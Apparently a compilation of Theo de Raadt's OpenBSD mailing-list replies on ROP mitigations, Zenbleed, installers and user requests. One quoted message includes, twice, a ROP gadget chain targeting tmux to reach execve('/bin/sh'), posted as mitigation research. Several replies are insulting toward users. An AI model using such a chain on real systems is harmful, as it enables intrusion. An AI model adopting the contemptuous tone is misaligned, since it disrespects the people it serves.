> libc. that should have nothing to do with the problems i am having,
> however. am i missing something?
> 
> ```
> ENTRY(__start)
> SECTIONS {
>   .text : {
>   KEEP (*(.text))
>   *(.text.*)
>   }
> 
>   .data : {
>   KEEP (*(.data))
>   *(.data.*)
>   }
> 
>   .init_array : {
>   PROVIDE_HIDDEN (__init_array_start = .);
>   KEEP (*(.init_array))
>   PROVIDE_HIDDEN (__init_array_end = .);
>   }
> 
>   .fini_array : {
>   PROVIDE_HIDDEN (__fini_array_start = .);
>   KEEP (*(.fini_array))
>   PROVIDE_HIDDEN (__fini_array_end = .);
>   } :data
> 
>   .test_array : {
>   PROVIDE_HIDDEN (__test_array_start = .);
>   KEEP (*(.test_array))
>   PROVIDE_HIDDEN (__test_array_end = .);
>   } :data
> 
>   .note.openbsd.ident : {
>   KEEP (*(.note.openbsd.ident))
>   *(.note.openbsd.*)
>   }
> 
>   .bss : {
>   KEEP (*(.bss))
>   *(.bss.*)
>   }
> }
> ```
> 
> this is the readelf --headers of the programm produced with the linker
> script:
> 
> ```
> Program Headers:
>   Type   Offset VirtAddr   PhysAddr
>  FileSizMemSiz  Flags  Align
>   INTERP 0x1000 0x 0x
>  0x0013 0x0013  R  1
>   [Requesting program interpreter: /usr/libexec/ld.so]
>   LOAD   0x1000 0x 0x
>  0xb47c 0xb47c  R  1000
>   LOAD   0xc480 0xb480 0xb480
>  0x001356d0 0x001356d0E1000
>   LOAD   0x00141b50 0x00140b50 0x00140b50
>  0x000211e8 0x000211e8  RW 1000
>   LOAD   0x00162d38 0x00161d38 0x00161d38
>  0x0018 0x0018  R  1000
>   LOAD   0x00162d50 0x00161d50 0x00161d50
>  0x 0x09b0  RW 1000
>   DYNAMIC0x00162ab0 0x00161ab0 0x00161ab0
>  0x0160 0x0160  RW 8
>   GNU_RELRO  0x00162a40 0x00161a40 0x00161a40
>  0x02f8 0x05c0  R  1
>   GNU_EH_FRAME   0xc390 0xb390 0xb390
>  0x002c 0x002c  

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> In *OpenBSD 7.3,* out of 264 programs, we only
> managed to generate ROP for 134 programs, with a success rate of *50.75%*.

Please provide a list of all programs where you *ESCALATED PRIVILEGE*
via ROP methods.  I ask, because:

1. If you are playing with a setuid static program, you cannot see where
   in memory the binary is mapped, so you do not know the precise
   syscall stub that is permitted for execve(2).

2. If you are playing with a setuid dynamic program, you cannot see
   where in memory libc.so is mapped, so you do not know the precise
   syscall stub that is permitted for execve(2).

3. If you are attacking a daemon, you cannot see where in memory it's
   execve stub (dynamic or static) is mapped, so you do not know the
   precise syscall stub to address which will perform execve(2).

Please explain how you perform the step of determining the execve system
call entrypoint for a memory image which is not readable.

>From innovations.html:

ld.so and crt0 register the location of the execve(2) stub with the
kernel using pinsyscall(2), after which the kernel only accepts an
execve call from that specific location. Theo de Raadt, Feb 2023.

What info leak are you exercising to extract libc.so's location, and
per-boot layout, and then precisely target the specific "syscall"
instruction?

My theory is that you are performing tests which are highly synthetic
(like -- reading a binary, checking it's in-memory layout once it starts
executing), and then you conclude that all the steps to your ROP methodology
are sufficient to plausibly gain *ESCALATED PRIVILEGE*.

So either you have new methodology that allows you to bypass these other
mitigations, or you have jumped to conclusion that the existance of polymorphic
ROP learned from (impossible) runtime inspection gaurantees exploit.

Re: openFPGAloader successfully built, but can't flash with ftdi error

[Theo de Raadt]

Gregory Edigarov  wrote:

> On Fri, 6 Oct 2023 10:06:15 - (UTC)
> Stuart Henderson  wrote:
> 
> > On 2023-10-06, S V  wrote:
> > >> The software that you're using may need the USB device to be
> > >> attached to ugen rather than uftdi. The simplest way to do this is
> > >> probably to type "boot -c" at the boot loader, "disable uftdi",
> > >> "quit".  
> > >
> > >
> > > Thanks!!! It works!!!  
> > 
> > good, thanks for confirming.
> > 
> > > Last "barrier" in front of openhardware
> > >
> > > more or less falls! :D :D :D  
> > 
> > btw, see bsd.re-config(5) if you want this regularly (but then, you
> > won't be able to connect to a uftdi device as a normal serial port
> > with cu).
> > 
> 
> Just a small bit of side note, perhaps somebody with knowledge of usb
> stack will find it interesting enough to implement.
> I think we need a way to detach a specific usb driver from device on the
> fly, leaving it attached as ugen.
> That "disable [whatever]" way is a problem itself because it is
> possible that there also is a real device that needs to be attached. 

That seems like what you want, but please consider.

Now that you've done that, who is opening that 'raw usb device'?

Or is the regular user?

Who fully audited the USB stack for this use case, to make sure there
are no bugs which can result in escalation or misbehaviour?  What happens
if a usb device is played with directly, while there is a kernel driver
which assumes it has control over it?  What kinds of racy bugs lurk in that
area? We really have no interlock design allowing such sharing.

I can give you the anwers to these questions.  Noone did that audit.
That is why we have been avoiding going down your chosen roadmanp.

When you say "I think we need", you can easily read it as "I think I want"
and it means someone must do the not-small job.

Re: Understanding -current as 7.4 is released

[Theo de Raadt]

Rudolf Leitgeb  wrote:

> On Fri, 2023-10-06 at 11:06 -0600, Theo de Raadt wrote:
> 
> > Other operating systems do not have a vast number of people using 
> > daily snapshots in the way our users do, so it is only our users who
> > have this experience.
> 
> Your expectation is, that people using snap shots, because they are 
> part of the dev and test community interested in early and frequent
> releases.

Right.

> However, there are folks who use snap shots, because the stable release
> doesn't yet support their hardware, and for these people it would be 
> helpful to have a simple way to move from snap shot to stable. They are
> typically new to the system overall, therefore what's complex for us 
> may well be confusing to them.

Look, I really don't care.  Your attempts to solve your problems never
becomes our problem.

You get to adapt to what we produce.  We don't need to make adaptations
due to the complaining of one 'confused' user on our mailing list, when
what's going on is (a) mostly reading comprehension, (b) expectations
out of line with our goals for snapshots.

We build and maintain a very complicated system which gets used by a vast
number of people who don't complain like you.

You aren't in any position to change a damn thing in this equation.
Mailing into the void.

Re: Understanding -current as 7.4 is released

[Theo de Raadt]

Marc Espie  wrote:

> Specifically, OpenBSD decides whether it's running "bleeding edge" current
> (snapshot) or a release/stable based on what the kernel says.

OpenBSD does not decide.  It has labels to delineate transitions in the
process.  Maybe we should go versionless?   Noone would have a clue as to
what they are running, but there would be no confusion right?

Anyways, OpenBSD doesn't decide anything.  It is pkg_add that decides what
to do.

It is the code you wrote.

You designed this semantic of looking (very narrowly) at this version number.

You added -Dsnap

You didn't write code to look for more detailed factors for the automatic
directory selection decision.

But I guess you want to confuse people.  I'm glad OpenBSD isn't confusing
people further.

Re: Understanding -current as 7.4 is released

[Theo de Raadt]

Marc Espie  wrote:

> On Thu, Oct 05, 2023 at 12:45:56PM -0400, Ronald Dahlgren wrote:
> > Hello friends,
> > 
> > I’ve been running -current for several months now. Recently I started using
> > “-D snap” when updating packages with pkg_add.
> > 
> > I ask the list to help me understand what, if anything, I need to do with
> > my machines that run snapshots when 7.4 is released. Will I need to perform
> > the upgrade procedures differently? Is the release just a blessed snapshot
> > and everything will continue to work as-is?
> 
> The way OpenBSD versions is run is very confusing for lots of people.


No, it is not confusing.

Other operating systems do not have a vast number of people using daily
snapshots in the way our users do, so it is only our users who have this
experience.

When people play with the daily snapshot type features in other operating
systems they find them just as 'confusing', right?

So stop declaring it confusing, as that is the wrong word.  The word you
want to use is COMPLEX.  Calling it confusing makes me just want to
cease the building of snapshots.  After all why would I want to confuse
anyone???

Re: X11 crashing

[Theo de Raadt]

Maria Morisot  wrote:

> I installed the patch for X11 (October 3rd), then rebooted,
> now X is crashing every time I log in on xenodm,
> sometimes I get a blue screen with debug messages,
> other times I get a square on my screen with a black background,
> and it is otherwise completely frozen, and I can't ctrl-alt-Fn
> into a terminal. I can do this before I try logging in though,
> and I tried reverting the patch but to no avail.
> 
> My wm is xfce, and when I remove my .xsession
> everything works normal without crashing.
> 
> I'm far from a novice user but I don't know much about
> how to properly report issues or what steps I need to take
> to isolate where the problem is.

Your bug report is too precise and detailed.

For example you say "blue screen with debug messages".

Amazing.  By not providing information, it's like you don't want
any help!  OK. In that case, I'm replying to give you no help.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

You have missed other stuff which matters.  Try again.


Nan ZoE  wrote:

> Because, as far as I understand, these ROP mitigation mechanisms seem to
> have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
> . Of course, I have also studied some
> programs under OpenBSD 6.5, and many of them still seem to have the
> potential to be bypassed.
> 
>  于2023年9月22日周五 12:02写道：
> 
> > Why are you targeting 6.4? That was released in 2018. So, that's 5 years
> > and 9 releases since then and another one is happening soon.
> >
> >
> >
> >
> > Sent: Thursday, September 21, 2023 at 8:50 AM
> > From: "Nan ZoE" 
> > To: misc@openbsd.org
> > Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
> > Hello,
> >
> >
> >
> > I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> > Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> > The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> > with the use of the 'rbx' register was a surprising revelation.
> > Subsequently, you adjusted the prioritization of the 'rbx' register during
> > compilation, effectively filtering out a significant number of 'ret'-ending
> > gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> > this technique has been applied to openbsd-63, 64, and 65. While the number
> > of 'ret'-ending gadgets has been significantly reduced, there are still
> > numerous 'call'-ending gadgets in the program. Security researchers can
> > still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> > programs of only a few hundred kilobytes, I have found that we can still
> > invoke the execve("/bin/sh", 0, 0) function using only the available
> > gadgets in the program, albeit it may require a combination of multiple
> > gadgets and some effort to achieve. I am curious if there are any further
> > ROP mitigation measures to address this issue? Additionally, I have
> > provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> > shown below.
> >
> >
> >
> > payload = p64(0x4017ce)
> >
> > #0x004017ce: pop r13; pop r14; pop r15; ret;
> >
> > payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x4017d1)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x412208)
> >
> > # 0x00412208: mov rcx, r13; call rax;
> >
> > payload += b''
> >
> > # 0x004017d1: pop rsi; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x40125d)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x427a31)
> >
> > # 0x00427a31: pop rbx; pop rbp; jmp rax;
> >
> > payload += p64(0x49e0ed)+p64(0x0)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x4017d1)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x412053)
> >
> > # 0x00412053: mov r8, rbx; call rax;
> >
> > payload += b''
> >
> > # 0x004017d1: pop rsi; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x4551d9)
> >
> > # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
> >
> > payload += p64(0x4017d3)
> >
> > # 0x004017d3: pop rdi; ret;
> >
> > payload += p64(0x49e070)+p64(0x40d571)
> >
> > # 0x0040d571: pop rsi; ret;
> >
> > payload += p64(0x0)+p64(0x4017cf)
> >
> > # 0x004017cf: pop rbp; pop r14; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x49e1d0)+p64(0x42d80b)
> >
> > # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> > rax, r14; call rax;
> >
> > payload += b''
> >
> > # 0x004017d0: pop r14; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x3b)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x407fae)
> >
> > # 0x00407fae: syscall;
> >
> > payload += b''
> >
> >
> >
> > Best regards,
> >
> > ZoE
> >
> > 2023.09.21
> >

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

There is no comprehensive & final solution for RET polymorphism due
to variable-sized instruction architecture, and the only solution is
to move to fixed-sized architectures where all RETs can be protected
and ROP-free therefore becomes possible.

The best we can do is reduce it.

The ability to reach execve() is being constrained more and more using
privsep, pledge where possible, unveil if we can, forcing people to use
the execve stub in libc (which is at a per-boot random location), and
further efforts (coming soon) which will hurt calling generic syscall or
the use of syscall instructions inside other syscall stubs.

Each thing increases the effort to reach exploitation.

I do not understand the sample you gave, it is impossible to visualize
the approach being taken -- you have not shown how you are finding the
syscall instruction.  Also note that it must be *THE SYSCALL* instruction
for execve, in per-boot-randomly-linked aslr-placed libc.so.  So you have
determined this online?

Finally, I believe the phrase "exploit" truly requires a priviledge
escalation or gain of other capability.  What did you gain?  I believe
you gain nothing from this demonstrator.

Nan ZoE  wrote:

> Hello,
> 
> 
> 
> I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> with the use of the 'rbx' register was a surprising revelation.
> Subsequently, you adjusted the prioritization of the 'rbx' register during
> compilation, effectively filtering out a significant number of 'ret'-ending
> gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> this technique has been applied to openbsd-63, 64, and 65. While the number
> of 'ret'-ending gadgets has been significantly reduced, there are still
> numerous 'call'-ending gadgets in the program. Security researchers can
> still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> programs of only a few hundred kilobytes, I have found that we can still
> invoke the execve("/bin/sh", 0, 0) function using only the available
> gadgets in the program, albeit it may require a combination of multiple
> gadgets and some effort to achieve. I am curious if there are any further
> ROP mitigation measures to address this issue? Additionally, I have
> provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> shown below.
> 
> 
> 
> payload = p64(0x4017ce)
> 
> #0x004017ce: pop r13; pop r14; pop r15; ret;
> 
> payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412208)
> 
> # 0x00412208: mov rcx, r13; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x40125d)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x427a31)
> 
> # 0x00427a31: pop rbx; pop rbp; jmp rax;
> 
> payload += p64(0x49e0ed)+p64(0x0)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412053)
> 
> # 0x00412053: mov r8, rbx; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4551d9)
> 
> # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
> 
> payload += p64(0x4017d3)
> 
> # 0x004017d3: pop rdi; ret;
> 
> payload += p64(0x49e070)+p64(0x40d571)
> 
> # 0x0040d571: pop rsi; ret;
> 
> payload += p64(0x0)+p64(0x4017cf)
> 
> # 0x004017cf: pop rbp; pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x49e1d0)+p64(0x42d80b)
> 
> # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> rax, r14; call rax;
> 
> payload += b''
> 
> # 0x004017d0: pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x3b)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x407fae)
> 
> # 0x00407fae: syscall;
> 
> payload += b''
> 
> 
> 
> Best regards,
> 
> ZoE
> 
> 2023.09.21

Re: undocumented command switches -OR- fix documentation fully

[Theo de Raadt]

I really don't give a shit.

Eponymous Pseudonym  wrote:

> There is one (old man) in each of you, but "we" see the youth (in you) 
> forever.
> 
> You know what this is addressing, it's not clouds, but system
> conversion principles.  Since it is your project, but NOT your system,
> surprise me with a solution that I or a broader consensus would
> propose, on the domain of:
> 
> * Discrepancies between BSD and GNU and undocumented parts in the BSD
> system from imported bulk of "non-OpenBSD" author-ware *
> 
> A call like "get off the list" is fine too, but it's not solving the
> problem that pokes your eyes too.  Now, let me propose a goal that is
> "admitting failure of upkeep in-house of important language utilities
> integral to the core of UNIX".  Separate it in ports and strip its
> core to the system.  Documentation is part of that, the split would be
> worth it on parts of the system that are exercised a lot, this one is
> considered moot?  AWK as in the tool that compiler parsers peruse?
> 
> You're _exactly_ interested in this, but it might be too late for this
> kind of effort.. in OpenBSD in 2025.  Is it too late and too thin of
> an edge to walk on?
> 
> awk-local(1) when?
> 
> On 9/20/23, Theo de Raadt  wrote:
> > Old man yells at cloud.
> 
> Yes.

Re: undocumented command switches -OR- fix documentation fully

[Theo de Raadt]

Old man yells at cloud.

Re: GPIO on Octeon

[Theo de Raadt]

Alex Frolkin  wrote:

> Hi all,
> 
> I see that the Octeon kernel provides an octgpio0 device, but there's no
> gpio0 at octgpio0 device (and I've tried to compile a kernel that has
> it, but it fails to configure), and the gpioctl binary is missing.
> 
> Is GPIO support on this platform just incomplete?  Or am I
> misunderstanding how things are supposed to work?

Where is the _documentation_ that says where those gpio pins go to?

Does one of them melt the machine?

I'm not joking.  Where's the complete authoritative documentation that
will make it a good idea to export these pins to _a userland program_.

Re: File transfer using ftp from bsd.rd booted system

[Theo de Raadt]

The interactive mode of the ftp client is not compiled into the
install media.

But, the non-interactive mode is there, so you can use -o
to download files.

However, you seem to want to push files out.  That support is also
compiled out.

These things are missing because if they remained, the install media
would not fit together.  There are space constraints.  (Well, we could
split the functionality out for different sized media, but then we have
more diverse featuresets to watch for mistakes in on different media,
and that's not something we want to take on.  This simplification is
intentional.  Also you are the first person to ever ask for this in 20
years, which says noone else needs it).

Re: suspend/resume issue on T440p w/ Libreboot

[Theo de Raadt]

There is a change to acpi.c (1.421) regarding wakeup GPEs which
may help, however this is work was done after 7.3

Re: Change userland core dump location

[Theo de Raadt]

There isn't a way.  And I will argue there shouldn't be a way to do that.
I don't see a need to invent such a scheme for one user, when half a century
of Unix has no way to do this.
Sorry.

Johannes Thyssen Tishman  wrote:

> Hi everyone,
> 
> is there a way to configure a location to store userland core dumps?
> I'd like to store them in /tmp to keep them available only until
> the next reboot. This way I can avoid having core dumps, that
> sometimes I don't even know about, scattered all over my home
> directory.
> 
> I've read about 'sysctl kern.nosuidcoredump' in sysctl(8), but I
> believe files stored under /var/crash/${program} are persistent
> after reboots, right? Also, I know I can disable them from
> /etc/login.conf, but I'd prefer to keep them at least until the
> next reboot just in case.
> 
> I'm sure that there must be a reason for why OpenBSD defaults to
> dumping core files like it does, so please let me know if what I'm
> asking is a bad idea. I would really appreciate it.
> 
> Thank you.
> 
> Kind regards,
> Johannes
> 

Re: ld depends on libpthread 27.1, 27.0 is installed

[Theo de Raadt]

Yesterday, there was a snapshot that was missing the new library.
Just upgrade again, and it should be fixed.

Re: volatility or something like that in the future ?

[Theo de Raadt]

whistlez  wrote:

> My mindset was to contribute what I know to improve the
> project.

What did you contribute?

You typed words, which is not a contribution.

You asked for others to do things you want.  But we don't want the feature
you want, because we consider it an anti-feature.

We do not want to expose the kernel address space contents like you
want, because it contains secrets information which is used for a wide
variety of attach surfaces.  Secrets does not mean passwords, it means
contents and layout of objects an attacker will use.

What you ask for is the opposite of what we would do.

We won't do it.  We don't want code that does it (not that you have any
code which does it).

And that is the end of story.

Re: volatility or something like that in the future ?

[Theo de Raadt]

whistlez  wrote:

> 
> 
> > I saw no hatred in the post you replied to.
> > 
> > OpenBSD developers are Makers, not Takers.  They code for OpenBSD for 
> > themselves, not for the user community.  
> > 
> > The point is you should spend some time trying to contribute before you 
> > start asking for some "feature".  
> > 
> > I've been a user for 25 years and really appreciate all the work the 
> > developers have done during that time.  In that time I've also contributed 
> > a very microscopic bit of bug fixes.
> > 
> > diana
> >
> 
> Thanks for your reply, but my emails didn't received the replies I
> expected to have.
> And to be honest I don't want to  plunge into arid controversy.
> 

This is not hate, BUT you are acting like a baby.

'Whaa wha you didn't do what I wanted'

Re: Feedback on redesigned OpenBSD.org

[Theo de Raadt]

When did it become an assumption that we would adopt any of these
changes?

Re: Recognition Of Linux LVMs

[Theo de Raadt]

Greg Thomas  wrote:

> > storage (and I wonder, parenthetically, why FreeBSD and NetBSD are
> > willing to support ZFS, but OpenBSD is not).

Why continue to wonder?  Why not just sit down and figure out that they
surrendered their ideals?

I make vegeterian meals all the time, with a big slab of beef on the
other half of the plate.

Re: Installing openBSD

[Theo de Raadt]

Multiboot support will never be a priority in OpenBSD.

None of the developers are using multiboot scenarios.  We develop and
test OpenBSD to support what we use, that is why it is so good at what
it does, and that is also also why it sucks ass for multiboot.

I suggest you get over it.  If that is a dealbreaker, I guess OpenBSD
is not for you!

We'll be perfectly happy if people insisting on multiboot go elsewhere.
They'll be happier also.

ykla  wrote:

> Actually, I think it's a bug that OpenBSD cannot create EFI partitions 
> manually. File
> systems that write MSDOS, mount points that write /boot/efi, or none at all 
> are not
> recognized by the system, and the installer will indicate that it can't 
> install the
> boot and fail to boot the system. If you want to use a custom partition, you 
> must
> first use AutoPartition to create a number of partitions, including an 
> i-partition,
> i.e., an efi partition. Then do it manually by deleting the partitions other 
> than the
> i-partition. This is the only way to customize the partition. Any manually 
> created efi
> partition system will not be recognized.
> 
> Umgeher Torgersen  于 2023年8月1日周二 上午12:21写道：
> 
>  On Mon, Jul 31, 2023 at 09:37:13AM -0600, Theo de Raadt wrote:
>  > Omar Polo  wrote:
>  > 
>  > > On 2023/07/31 17:19:59 +0200, Karel Lucas  wrote:
>  > > > 
>  > > > Hi,
>  > > > 
>  > > > But fdisk also has an option to edit the existing partition table.
>  > > 
>  > > only if you want to do stuff manually, which from the thread I assume
>  > > you don't need.
>  > > 
>  > > > This 
>  > > > allows me to delete only the partitions related to PfSense without 
>  > > > deleting the (U)EFI partition.
>  > > 
>  > > yeah, if you ask to do things by yourself, you get to do the things
>  > > manually :)
>  > > 
>  > > > The question here is whether I will need 
>  > > > it to boot openBSD's root partition.
>  > > 
>  > > choose 'use whole disk' and let the installer nuke and re-create the
>  > > partition table.  it'll do the right thing for a standard
>  > > installation.
>  > > 
>  > 
>  > Karel,
>  > 
>  > I will be going for a walk first.
>  > 
>  > I'm trying to figure out if I should put my left foot first.
>  > Or should it be the right?
> 
>  both
> 
>  > I'm so terribly confused!  I would not want to put the wrong foot first.
>  > 
> 

Re: Installing openBSD

[Theo de Raadt]

Omar Polo  wrote:

> On 2023/07/31 17:19:59 +0200, Karel Lucas  wrote:
> > 
> > Hi,
> > 
> > But fdisk also has an option to edit the existing partition table.
> 
> only if you want to do stuff manually, which from the thread I assume
> you don't need.
> 
> > This 
> > allows me to delete only the partitions related to PfSense without 
> > deleting the (U)EFI partition.
> 
> yeah, if you ask to do things by yourself, you get to do the things
> manually :)
> 
> > The question here is whether I will need 
> > it to boot openBSD's root partition.
> 
> choose 'use whole disk' and let the installer nuke and re-create the
> partition table.  it'll do the right thing for a standard
> installation.
> 

Karel,

I will be going for a walk first.

I'm trying to figure out if I should put my left foot first.
Or should it be the right?

I'm so terribly confused!  I would not want to put the wrong foot first.

Re: Installing openBSD

[Theo de Raadt]

Karel Lucas  wrote:

> Multi-boot is not an option here. The intention is to replace the entire 
> PfSense installation with openBSD. Eventually this computer becomes a 
> firewall with PF, so the current installation is unnecessary. But my 
> question remains whether I need the (U)EFI partition for that or not. 
> Can anyone give me some helpful advice?

you are overthinking it

the default way through the installer reuses the whole disk.

Re: RISCV mailing list

[Theo de Raadt]

develo...@robert-palm.de wrote:

> Zitat von Theo de Raadt :
> 
> > develo...@robert-palm.de wrote:
> >
> >> I suggest a mailing list for the RISCV arch.
> >>
> >> Ok?
> >
> >
> > It will be as popular and useful as the other per-architecture lists,
> > meaning -- it is the wrong approach.
> 
> Understand. Thanks.
> 
> In consequence the other arch lists should be dropped as there is not
> much traffic anyway?

this is more like a who cares

Re: RISCV mailing list

[Theo de Raadt]

develo...@robert-palm.de wrote:

> I suggest a mailing list for the RISCV arch.
> 
> Ok?


It will be as popular and useful as the other per-architecture lists,
meaning -- it is the wrong approach.

Re: ddb panic on 7.3 after applying 2023-07-24 zenbleed patches

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2023-07-25, Kevin  wrote:
> > Regarding the Zenbleed vulnerability itself, none of our AMD hosts are
> > known to be vulnerable at this time as they are all running Milan and
> > later CPUs.
> 
> rather than going with "none are known to be vulnerable" they should
> probably run the PoC program themselves and see whether strings from
> other VMs show up

Since they are emulating the behaviour of the DE_CFG register, they should
allow (and ignore) setting that bit, because other operating systems are
going to assume the same.

Hypervisors gotta do stuff like that.
 

Re: ddb panic on 7.3 after applying 2023-07-24 zenbleed patches

[Theo de Raadt]

Kevin  wrote:

> Would this be worth putting a ticket into Vultr to get them to make 
> appropriate
> updates on their side?

You are the customer.

Re: ddb panic on 7.3 after applying 2023-07-24 zenbleed patches

[Theo de Raadt]

Snapshots got that diff about 8 hours earlier.

> For what it’s worth, my Vultr VPS machine is running snapshots and updated
> without issue.
> 
> Hope this helps as a clue!
> 
> On Tue, Jul 25, 2023 at 10:45 AM Theo de Raadt  wrote:
> 
> > It seems some of the smaller hypervisor companies didn't get the memo,
> > and they are blocking the msr write to to set the chicken bit.
> >
> > They block it by raising an exception.
> > They should IGNORE that bit if they allow setting it.
> >
> > I also have a strong suspicion some of them do not have the firmware
> > fixes, and that the chickenbit-off state we read is true.
> >
> > Anyways, a brand new errata to skip setting the chickenbit on such
> > hypervisors is going out the door right now.
> >
> >
> > --
> RD

Re: ddb panic on 7.3 after applying 2023-07-24 zenbleed patches

[Theo de Raadt]

It seems some of the smaller hypervisor companies didn't get the memo,
and they are blocking the msr write to to set the chicken bit.

They block it by raising an exception.
They should IGNORE that bit if they allow setting it.

I also have a strong suspicion some of them do not have the firmware
fixes, and that the chickenbit-off state we read is true.

Anyways, a brand new errata to skip setting the chickenbit on such
hypervisors is going out the door right now.

Re: amd microcode

[Theo de Raadt]

Jonathan Gray  wrote:

> On Mon, Jul 24, 2023 at 03:17:26PM -0700, Courtney wrote:
> > $ pkg_info | grep amd
> > amd-firmware-20230719 microcode update binaries for AMD CPUs
> 
> It by no means covers all zen 2 models.

  ^^^

AMD's firmwar updates for the fix are incomplete.  Some models won't get
firmware updates until November and December.  AMD rates the ability to
observe data over a process or VM boundary as only "medium" severity.
Their customers may have a different opinion...

> An updated kernel will set DE_CFG bit 9 on all Zen2 models,
> which does not require new microcode.

  

Since AMD is too busy twiddling their fingers with the firmware solutions,
we are setting DE_CFG bit 9 _on all the models that we think have the bug_.

Two fixes for the same problem, if you get lucky.

Re: patch-008 missing in CVS repo

[Theo de Raadt]

ckeader  wrote:

> Brian Conway writes:
> [...]
> > >> I see similar results when I try pulling from a couple anoncvs mirrors. 
> > >> Perhaps a bug or oops in the CVS update process?
> > >
> > > Keep waiting while more of Canada wakes up and it will likely get 
> > > resolved.
> > > In the meantime you could fetch the patch from the errata page and apply
> > > it locally.
> > 
> > Looks resolved now, thanks all.
> 
> Sorry I'm late to the party, but this patch single-handedly broke two of
> my machines. I don't have a complete dmesg now but ends roughly like
> this:
> 
> 
> scsibus3 at softraid0: 256 targets
> root on sd0a (e524655a9f058e3f.a) swap on sd0b dump on sd0b
> Process (pid 1) got signal 31
> Process (pid 1) got signal 12
> Process (pid 1) got signal 12
> Process (pid 1) got signal 12
> Process (pid 1) got signal 12
> 
> The above made me think of a disk related problem, and that's probably
> close to the mark for one of the boxes (SSD dead - no longer detected
> when tested in different machines). But the second server, completely
> different hw, was recoverable with the 7.3 release kernel.
> 
> That was a first in decades of OBSD use.


You are probably holding it wrong.

Re: Syspatch https://cdn.openbsd.org/pub/OpenBSD

[Theo de Raadt]

We only manufacture errata for the last two releases.

7.1 is 3 releases ago.

You are on your own, or you upgrade to the last two releases.

Duncan Patton a Campbell  wrote:

> 
> I'm just looking at 
> http://www.openbsd.org/errata71.html
> (see attached PNG)
> 
> and it's missing the last 8 entries 
> (029_expat.patch thru 036_rpki.patch)
> 
> 
> 
> On Wed, 12 Jul 2023 19:25:56 -0600
> "deich...@placebonol.com"  wrote:
> 
> > accessible via my T-Mobile phone
> > 
> > 
> > 
> > On July 12, 2023 5:04:21 PM MDT, Chris Narkiewicz  
> > wrote:
> > >On Wed, Jul 12, 2023 at 03:19:17PM -0700, latin...@vcn.bc.ca wrote:
> > >> Is it working?
> > >> https://cdn.openbsd.org/pub/OpenBSD
> > >
> > >Works for me.
> > >
> > >Best regards,
> > >Chris Narkiewicz
> > >
> > 
> 
> 
>  -- 
> Je suis Canadien. Ce n'est pas Francais ou Anglais.  
>  C'est une esp`ece de sauvage: ne obliviscaris, vix ea nostra voco;-) 
>  Duncan Patton a Campbell

Re: Self-hosting OpenBSD server, any documentation?

[Theo de Raadt]

Jonathan Drews  wrote:

> 
> 
> 
> On Sat, Jul 8, 2023, at 01:42, Jonas Borchelt wrote:
> > The book "Absolute OpenBSD" is an excellent choice to expand your knowledge 
> > of the OpenBSD operating system. It was written by Michael W. Lucas and is 
